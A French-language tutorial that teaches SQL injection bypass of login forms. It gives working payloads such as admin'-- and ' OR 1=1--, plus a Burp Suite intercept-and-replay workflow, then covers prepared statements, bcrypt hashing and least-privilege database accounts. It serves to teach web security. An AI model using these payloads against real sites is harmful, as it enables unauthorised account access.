Injection SQL : contourner un formulaire d'authentification
L’injection SQL est une vulnérabilité qui consiste à insérer du code SQL dans une entrée utilisateur, interprétée directement par la base de données. Sur un formulaire de connexion, cela permet de contourner la vérification des identifiants sans connaître le mot de passe.
Ce que fait la requête côté serveur
Section titled “Ce que fait la requête côté serveur”Un formulaire de connexion classique construit généralement une requête SQL à partir des valeurs saisies :
SELECT * FROM users WHERE login = '<login>' AND password = '<password>';Avec les valeurs admin et monpassword, la requête devient :
SELECT * FROM users WHERE login = 'admin' AND password = 'monpassword';Si un utilisateur correspond, la connexion est accordée. Le problème : si le serveur insère directement la valeur du champ sans la traiter, l’entrée peut contenir du SQL arbitraire.
Le mécanisme de l’injection
Section titled “Le mécanisme de l’injection”En saisissant admin'-- dans le champ login, la requête assemblée devient :
SELECT * FROM users WHERE login = 'admin'--' AND password = 'xxx';-- est un commentaire SQL. Tout ce qui suit est ignoré par le moteur de base de données. La requête effective est donc :
SELECT * FROM users WHERE login = 'admin';La condition sur le mot de passe est supprimée. Si un utilisateur admin existe, la requête retourne une ligne et la connexion est accordée — quel que soit le mot de passe saisi.
Exploiter via Burp Suite
Section titled “Exploiter via Burp Suite”Intercepter la requête
Section titled “Intercepter la requête”- Configurer Burp Suite comme proxy (
127.0.0.1:8080) dans le navigateur - Activer l’interception dans l’onglet Proxy → Intercept
- Soumettre le formulaire avec des valeurs quelconques
La requête interceptée dans Burp affiche le corps POST :
POST /login HTTP/1.1Host: exemple.comContent-Type: application/x-www-form-urlencoded
login=admin&password=testInjecter et forwarder
Section titled “Injecter et forwarder”Modifier la valeur du champ login directement dans Burp, puis forwarder :
login=admin'--&password=xxxLa requête modifiée est transmise au serveur. Si la réponse redirige vers le tableau de bord ou retourne un contenu authentifié, l’injection a fonctionné.
Tester d’autres payloads
Section titled “Tester d’autres payloads”Si admin n’est pas le nom d’utilisateur, d’autres payloads permettent de contourner l’authentification sans connaître aucun identifiant :
-- Toujours vrai sur le login, commentaire sur le reste' OR '1'='1'--
-- Toujours vrai sur les deux conditions' OR 1=1--
-- Variation sans espace'OR'1'='1
-- Sur le champ password plutôt que loginlogin=admin&password=' OR '1'='1La requête générée par ' OR 1=1-- :
SELECT * FROM users WHERE login = '' OR 1=1--' AND password = 'xxx';1=1 est toujours vrai → la requête retourne toutes les lignes de la table. Selon l’implémentation, la connexion s’effectue avec le premier utilisateur retourné (souvent l’administrateur si la table est ordonnée par ID).
Envoyer dans le Repeater pour itérer
Section titled “Envoyer dans le Repeater pour itérer”Depuis Burp Proxy, envoyer la requête dans Repeater (Ctrl+R) pour tester plusieurs payloads sans repasser par le navigateur :
login=admin'--&password=xxx → tester avec admin connulogin=' OR 1=1--&password=xxx → bypass sans usernamelogin=administrator'--&password=xxx → variante du nom adminlogin=root'--&password=xxx → systèmes UnixObserver le code de réponse et la taille du corps : un 302 Found ou un corps plus long qu’une réponse d’erreur indique une connexion réussie.
Ce que ça révèle sur l’architecture
Section titled “Ce que ça révèle sur l’architecture”Une injection SQL réussie sur un formulaire d’authentification indique que :
- Les entrées utilisateur sont concaténées directement dans la requête SQL
- Le compte de base de données utilisé par l’application a probablement trop de droits
- D’autres points d’entrée (paramètres GET, headers, champs de recherche) sont potentiellement vulnérables au même type d’injection
Remédiation
Section titled “Remédiation”Utiliser des requêtes préparées
Section titled “Utiliser des requêtes préparées”La solution est de séparer le code SQL des données. Une requête préparée envoie d’abord la structure SQL au moteur, puis les valeurs séparément — le moteur ne peut pas les interpréter comme du code.
# Python / SQLite — vulnérablecursor.execute(f"SELECT * FROM users WHERE login = '{login}' AND password = '{password}'")
# Python / SQLite — correctcursor.execute("SELECT * FROM users WHERE login = ? AND password = ?", (login, password))// Java JDBC — vulnérableStatement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE login = '" + login + "'");
// Java JDBC — correctPreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE login = ? AND password = ?");stmt.setString(1, login);stmt.setString(2, password);ResultSet rs = stmt.executeQuery();// PHP PDO — vulnérable$result = $pdo->query("SELECT * FROM users WHERE login = '$login'");
// PHP PDO — correct$stmt = $pdo->prepare("SELECT * FROM users WHERE login = ? AND password = ?");$stmt->execute([$login, $password]);Ne jamais stocker les mots de passe en clair
Section titled “Ne jamais stocker les mots de passe en clair”Même sans injection SQL, un accès direct à la base de données ne doit pas exposer les mots de passe. Les hacher avec bcrypt ou argon2 :
import bcrypt
# Stockagehashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
# Vérificationbcrypt.checkpw(password.encode(), hashed)Principe du moindre privilège sur la base de données
Section titled “Principe du moindre privilège sur la base de données”Le compte applicatif ne doit avoir que les droits nécessaires — jamais GRANT ALL :
-- Créer un compte avec droits limitésCREATE USER 'app'@'localhost' IDENTIFIED BY 'motdepasse';GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'app'@'localhost';-- Pas de DROP, pas de CREATE, pas d'accès aux autres tablesÀ retenir
Section titled “À retenir”L’injection SQL sur un formulaire d’authentification est une des vulnérabilités les plus documentées — elle figure dans l’OWASP Top 10 depuis sa création. Une requête préparée élimine le risque : le moteur de base de données reçoit le code SQL et les données séparément, et ne peut pas confondre les deux. Concaténer des entrées utilisateur dans du SQL est une erreur de conception, pas un détail d’implémentation.